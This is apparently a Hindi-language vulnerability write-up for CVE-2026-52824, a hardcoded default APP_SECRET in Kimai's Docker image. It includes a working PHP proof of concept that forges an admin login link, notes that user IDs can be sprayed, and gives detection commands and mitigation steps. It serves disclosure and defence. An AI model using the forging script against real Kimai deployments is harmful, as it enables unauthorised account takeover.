
CVE-2026-52824 का तकनीकी विश्लेषण और PoC: Kimai Docker इमेज में डिफ़ॉल्ट APP_SECRET, जो बिना प्रमाणीकरण के लॉगिन लिंक जालसाज़ी को सक्षम बनाता है। <= 2.57.0 को प्रभावित करता है, 2.58.0 में ठीक किया गया।
| फ़ील्ड | मान |
|---|
| CVE | CVE-2026-52824 |
| एडवाइज़री | GHSA-jr9p-4h4j-6c58 |
| गंभीरता | क्रिटिकल |
| CWE | CWE-1188, असुरक्षित डिफ़ॉल्ट के साथ संसाधन का आरंभीकरण |
| प्रभावित | kimai/kimai <= 2.57.0 |
| समाधान | 2.58.0 |
| एडवाइज़री प्रकाशित | 2026-06-11 |
| GitHub एडवाइज़री डेटाबेस में जोड़ा गया | 2026-07-14 |
| रिपोर्टर | AzureADTrent |
आधिकारिक Kimai Docker इमेज हार्डकोडेड APP_SECRET के साथ वितरित की गई थी। यह मान Symfony का kernel.secret बन जाता है, जो लॉगिन लिंक, रिमेम्बर-मी कुकीज़, पासवर्ड रीसेट URL और CSRF टोकन पर हस्ताक्षर करता है। चूँकि Kimai के लॉगिन-लिंक हस्ताक्षर में केवल उपयोगकर्ता का id शामिल था, एक अनप्रमाणित हमलावर ज्ञात सीक्रेट के साथ ऑफलाइन एक मान्य लॉगिन लिंक की गणना कर सकता था और किसी भी उपयोगकर्ता के रूप में प्रमाणित हो सकता था।
Dockerfile:263 ने सेट किया:
ENV APP_SECRET=change_this_to_something_unique
config/packages/framework.yaml:7 इसे kernel.secret के रूप में उपभोग करता है:
secret: '%env(APP_SECRET)%'
.docker/entrypoint.sh ने सेंटिनल मान के लिए कोई जाँच नहीं की, और .env.dist:38 ने बेयर-मेटल इंस्टॉलेशन के लिए वही डिफ़ॉल्ट वितरित किया। किसी भी स्टार्टअप गार्ड ने डिफ़ॉल्ट पर बूट करने से मना नहीं किया।
इसलिए कोई भी Docker डिप्लॉयमेंट जिसने स्पष्ट रूप से APP_SECRET को ओवरराइड नहीं किया, सार्वजनिक रूप से ज्ञात साइनिंग कुंजी के साथ चला।
Kimai लॉगिन लिंक को /en/auth/link/check पर user, expires, और hash पैरामीटर के साथ उपभोग करता है। hash, 44-वर्णों वाला HMAC है जो सीधे 44-वर्णों वाले फ़ील्ड्स हैश के साथ जोड़ा जाता है, जो acceptSignatureHash() से मेल खाता है, जो ऑफ़सेट 44 पर विभाजित होता है।
<?php
$secret = 'change_this_to_something_unique';
$username = 'admin';
$userId = 1;
$expires = time() + 360;
// signature_properties: ['id']
// $userId is passed as an int, mirroring what PropertyAccessor hands to
// base64_encode() upstream. Under declare(strict_types=1) this needs an
// explicit (string) cast; the coercion is what the framework itself relies on.
$ctx = hash_init('sha256');
hash_update($ctx, ':' . base64_encode($userId));
$fieldsHash = strtr(base64_encode(hash_final($ctx, true)), '+/=', '-_~');
// generateHash(fieldsHash:expires:userIdentifier)
$input = $fieldsHash . ':' . $expires . ':' . $username;
$signatureHash = strtr(base64_encode(hash_hmac('sha256', $input, $secret, true)), '+/=', '-_~');
$hash = $signatureHash . $fieldsHash;
$url = "/en/auth/link/check?user=" . urlencode($username)
. "&expires=" . $expires
. "&hash=" . $hash;
echo "Forged login link:\n$url\n";
एक सफल अनुरोध 302 लौटाता है और लक्षित खाते के लिए KIMAI_REMEMBER कुकी सेट करता है।
expires HMAC के अंदर है और हमलावर-नियंत्रित है, और सत्यापन केवल उन टाइमस्टैम्प को अस्वीकार करता है जो पहले ही अतीत में हैं — verifySignatureHash() केवल $expires < time() का परीक्षण करता है और कुछ और नहीं। कॉन्फ़िगर किया गया lifetime: 900 केवल लिंक जनरेशन को नियंत्रित करता है और सत्यापन के दौरान कभी परामर्श नहीं किया जाता, इसलिए एक जाली लिंक मनमाने ढंग से दूर की समाप्ति ले जा सकता है।
max_uses: 3 भी उतना ही अप्रासंगिक है। यह एक जारी किए गए लिंक के पुन: उपयोग को सीमित करता है; एक हमलावर प्रति प्रयास एक नया लिंक बनाता है।
एडवाइज़री तीन पूर्व-शर्तें सूचीबद्ध करती है: उपयोगकर्ता नाम ज्ञात है, सही खाता ID का अनुमान लगाया गया है, और खाते में सक्रिय 2FA नहीं है।
व्यवहार में ये कमज़ोर हैं। उपयोगकर्ता ID 1 से क्रमिक होती हैं, पहला super_admin सामान्यतः ID 1 होता है, और प्रत्येक प्रयास एक एकल अनप्रमाणित GET है। उपयोगकर्ता नाम और ID स्थान को स्प्रे किया जा सकता है। टू-फ़ैक्टर प्रमाणीकरण ही एकमात्र पूर्व-शर्त है जो हमले को सार्थक रूप से रोकती है।
स्थानीय जाँच:
docker exec <container> printenv APP_SECRET
docker exec <container> cat /opt/kimai/.env.local
docker exec <container> ls -l /opt/kimai/var/data/.appsecret
बिना .appsecret फ़ाइल के मौजूद सेंटिनल APP_SECRET एक असुरक्षित डिप्लॉयमेंट का संकेत देता है।
2.58.0 या उसके बाद के संस्करण में अपग्रेड करें। समाधान:
APP_SECRET हटाता हैbin2hex(random_bytes(32)) के माध्यम से एक सीक्रेट उत्पन्न करती है, इसे /opt/kimai/var/data/.appsecret पर संग्रहीत करती है, और इसे /opt/kimai/.env.local में लिखती हैयदि आप तुरंत अपग्रेड नहीं कर सकते, तो स्पष्ट रूप से एक अद्वितीय उच्च-एंट्रॉपी सीक्रेट सेट करें:
docker run -e APP_SECRET=$(openssl rand -hex 32) ...
APP_SECRET को रोटेट करने से मौजूदा रिमेम्बर-मी कुकीज़, लंबित पासवर्ड रीसेट लिंक, और प्रगति पर CSRF टोकन अमान्य हो जाते हैं; उपयोगकर्ताओं को फिर से लॉग इन करना होगा। चाहे एक्सपोज़र की पुष्टि हो सके या नहीं, रोटेशन और सत्र अमान्यकरण करना सुरक्षित है। जो ऑपरेटर अपनी स्थिति निर्धारित नहीं कर सकते, उन्हें अनुमान लगाने के बजाय रोटेट करना चाहिए।
projectdiscovery/nuclei-templates में सार्वजनिक रूप से प्रकाशितयह लेख तब तक रोका गया जब तक कि यह तंत्र स्वतंत्र रूप से सार्वजनिक नहीं हो गया।